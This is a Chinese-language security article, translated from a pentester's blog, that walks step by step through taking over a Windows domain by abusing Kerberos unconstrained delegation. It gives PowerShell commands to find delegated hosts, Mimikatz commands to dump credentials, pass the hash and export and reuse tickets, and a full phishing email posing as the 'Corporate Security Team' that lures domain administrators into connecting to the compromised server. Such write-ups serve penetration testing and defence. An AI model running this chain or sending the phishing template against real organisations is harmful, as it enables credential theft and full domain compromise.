技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

2016-03-11 +6 342125人围观 ,发现 8 个不明物体 系统安全终端安全

在最近的一次渗透测试中我遇到了一个很奇怪的问题——用常用方法貌似没办法找到域管理员身份认证的位置。

我先是通过文件上传功能,获取到了一台服务器的Administrator权限系统权限运行了WAMP,并且通过这台机器的域用户身份的哈希获得了其他几台服务器,很遗憾,依然不能找到到域管理员。

在试过常用的AD和Kerberos相关的攻击后,我们不得不重新思考攻击思路。那么服务端的攻击失败后,我们很自然的就会想到客户端的攻击。

我们可以给客户端发送带附件和链接的邮件,运气好的话,我们可以得到一个客户端,这个客户端可能保存有域管令牌。但是这个地方,钓鱼邮件回连的shell无法通过VPN防火墙。如下图

图片1.png 

因此,我们在已经拿下的服务器上安装几个监听器,这样我们就能处理多个返回的shell,或者就直接把已有的服务当成监听器进行我们的钓鱼攻击。偷个懒,我就直接用第二种了,直接用已有的服务来做。在探测了初始机器后,我发现这台web服务器的Kerberos Unconstrained Delegation是开着的。

如果一台服务器上的Kerberos Unconstrained Delegation是开启的,那就很有可能收集到用户连接服务器的令牌。这里有一篇文章是具体介绍Kerberos的授权详情。所以我们需要做的就是创建一封钓鱼邮件,通过这封邮件可以回接到我们已拥有的服务器,接下来就是等域管理员点开这封邮件。

以下是我在实验室下作的测试:

1. pfptlab-build是我们已经获取的服务器,有管理员权限,并且可以远程桌面、PowerShell远程管理等等。

2. pfptlab-web服务器中,我们可以执行管理员命令但是不能直接访问。

图片2.png 

寻找有Unconstrained Delegation的电脑

通过使用内置的AD PowerShell模块。这个模块在Windows Server 2012中是默认存在的。通过在已获得管理员权限的服务器(pfptlab-build)上执行以下命令

PS C:\> Add-WindowsFeature RSAT-AD-PowerShell
PS C:\> Import-Module ActiveDirectory
PS C:\> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}

图片3.png 

这样我们就有了一个加壳的命令脚本Get-Unconstrained.ps1

还可以通过PowerView来找到用了Unconstrained Delegation的电脑

图片4.png

 设置监听器

在开启unconstrained delegation服务器中(实验中的pfptlab-web我们可以Invoke-Mimikatz枚举出所有存在的令牌。通过这台机器的管理员所扮演的域用户的哈希我们已经拿到这台服务器的管理员权限。注意,我们得到的令牌可能已经过期了,所以我们需要等待域管连接这台电脑。

我们可以用域用户webadmin的哈希该用户同时也是pfptlab-web本地管理员

PS C:\> Invoke-Mimikatz -DumpCreds
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe"'

以下命令的输出:

 

图片5.png图片6.png 

现在,我们可以列出pfptlab-web的令牌,再次说明,这个服务器中有开启Unconstrained Delegation。我们可以直接访问pfptlab-build机器那么我们 就直接通过以下命令pfptlab-web上运行脚本记住以下命令需要在PowerShell上运行,可以通过webadmin用户打开

PS C:\> Invoke-Command -ScriptBlock {cd $env:TEMP} -Session $sess
PS C:\> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'} -Session $sess

图片7.png 

 

所以,假设我们已经列举到了域管账号,并且其中一个就是”Administrator”为了知道域管是否已经连接,我们还需要用到以下的方法

PS C:\> $output = Invoke-Command -ScriptBlock {(ls $env:temp\*.kirbi).name} -Session $sess
PS C:\> $output | sls Administrator

也许有人可以用更简单的方法自动化的完成这些事。如果域管令牌被Mimikatz保存下来了,那么第二个命令就直接可以列出pfptlab-web上的Admin令牌

准备电子邮件

幸运的是,内部有邮件服务器可以邮件相互发送,因此,发送钓鱼邮件就不是难题。通过AD用户名就能产生一堆邮箱账号。针对不同的用户可能有不同的邮件模板,以下是其中一个邮件:

Hey, 

I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:

1. Click on Start Menu -> Type cmd.exe

2. In the Window which opens up. type ”reg query HKLM\SOFTWARE\Microsoft\”

3. Copy the contents of above command in a text file.

4. Go to \\[name of server with unconstrained delegation]\C$ and copy the file there.

5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up. 

 

Cheers,

 Corporate Security Team

虽然我们不是钓鱼邮件专家,但是我们可以注意到邮件上的一些点

没有权威的恐吓有的只是权衡利弊

使用术语而不是模糊的语句,表现的好像我们真的是要把这件事情简单的解释给他们听。

要求用户采取紧急行动。

命令要显示很多的输出。

让用户有一个可以选择的方法

然后,使用以下命令邮件发出去

PS C:\> Send-MailMessage -From "Corporate Security<corporate.security@client.com>" -To $recipients -Subject "Security Anomaly: Action Required" -Body (Get-Content C:\Users\buildadmin\Desktop\email.txt | Out-String) -SmtpServer [IP of internal mail server]

以下mailbox中的一封已发送的邮件

图片8.png

执行

发送邮箱后,我开始检查域管的令牌,通过Invoke-Mimikatz反复的查看。很快的,就有很多域管按照邮箱说的做了呵呵哒:

图片9.png 

现在在我看来最好的使用令牌的方法是把他们复制到pfptlab-build服务器,因为这台服务器我们能直接控制。用以下语句把pfptlab-web的令牌全部复制到pfptlab-build机器上。

PS C:\> Copy-Item \\pfptlab-web\C$\Users\WEBADM~1.PFP\AppData\Local\Temp\*.kirbi C:\tickets

图片10.png 

现在我们可以使用其中一个Administrator令牌提升我们的权限:

PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt [Ticket]

图片11.png 

搞定,让我们一起摇摆…

 *参考来源:labofapenetrationtester.com ,FB小编老王隔壁的白帽子翻译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

相关推荐

这些评论亮了

发表评论

已有 8 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php